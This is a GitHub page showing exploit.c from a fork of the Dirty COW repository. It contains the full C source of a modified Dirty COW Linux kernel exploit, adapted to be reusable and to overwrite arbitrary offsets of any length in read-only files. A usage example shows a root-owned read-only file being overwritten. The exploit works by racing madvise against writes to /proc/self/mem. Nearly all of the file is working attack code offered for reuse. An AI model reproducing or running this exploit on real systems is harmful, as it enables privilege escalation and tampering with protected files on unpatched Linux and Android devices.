forked from nowsecure/dirtycow
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.c
125 lines (113 loc) · 3.12 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
/* modified version of the original exploit with some changes:
- by pancake @ nowsecure // 2016
- expose function to make the code reusable
- clean warnings, remove unused vars
- optimize race condition (tested on mobile phones)
- support arbitrary address overwrite
- support arbitrary length of data to overwrite
*/
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
dcow 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
static void *map;
static int fd;
static struct stat st;
static int datalen;
static int map_addr = 0;
// #define LOOPS 100000000
#define LOOPS 10000
static void *madviseThread(void *arg) {
int i, c = 0;
for (i = 0; i < LOOPS; i++) {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable dcowped in memory.
*/
int map_page = map_addr - (map_addr % 4096);
c += madvise (map + map_page, 100, MADV_DONTNEED);
}
if (c) {
printf ("madvise %d\n", c);
}
return NULL;
}
static void *procselfmemThread(void *data) {
int f = open ("/proc/self/mem", O_RDWR);
int i,c = 0;
if (f == -1) {
printf ("Cannot write in /proc/self/mem\n");
return NULL;
}
for (i = 0; i < LOOPS; i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek (f, (size_t)map + map_addr, SEEK_SET);
c += write (f, data, datalen);
}
if (c < 0) {
printf ("procselfmem %d\n", c);
}
close (f);
return NULL;
}
int dirtycow(const char *file, int addr, const unsigned char *buf, int len) {
pthread_t pth1, pth2;
fd = open (file, O_RDONLY);
if (fd == -1) {
return -1;
}
fstat (fd, &st);
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> dcow() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
st.st_size += 4096;
map = mmap (NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (((int)(size_t)map & 0xffff) == 0xffff) {
printf ("Cannot write in the cow\n");
return -1;
}
// printf ("mmap at %p\n", map);
/* You have to do it on two threads. */
datalen = len;
map_addr = addr;
pthread_create (&pth1, NULL, madviseThread, (void*)file);
pthread_create (&pth2, NULL, procselfmemThread, (void*)buf);
/* You have to wait for the threads to finish. */
pthread_join (pth1, NULL);
pthread_join (pth2, NULL);
close (fd);
return datalen;
}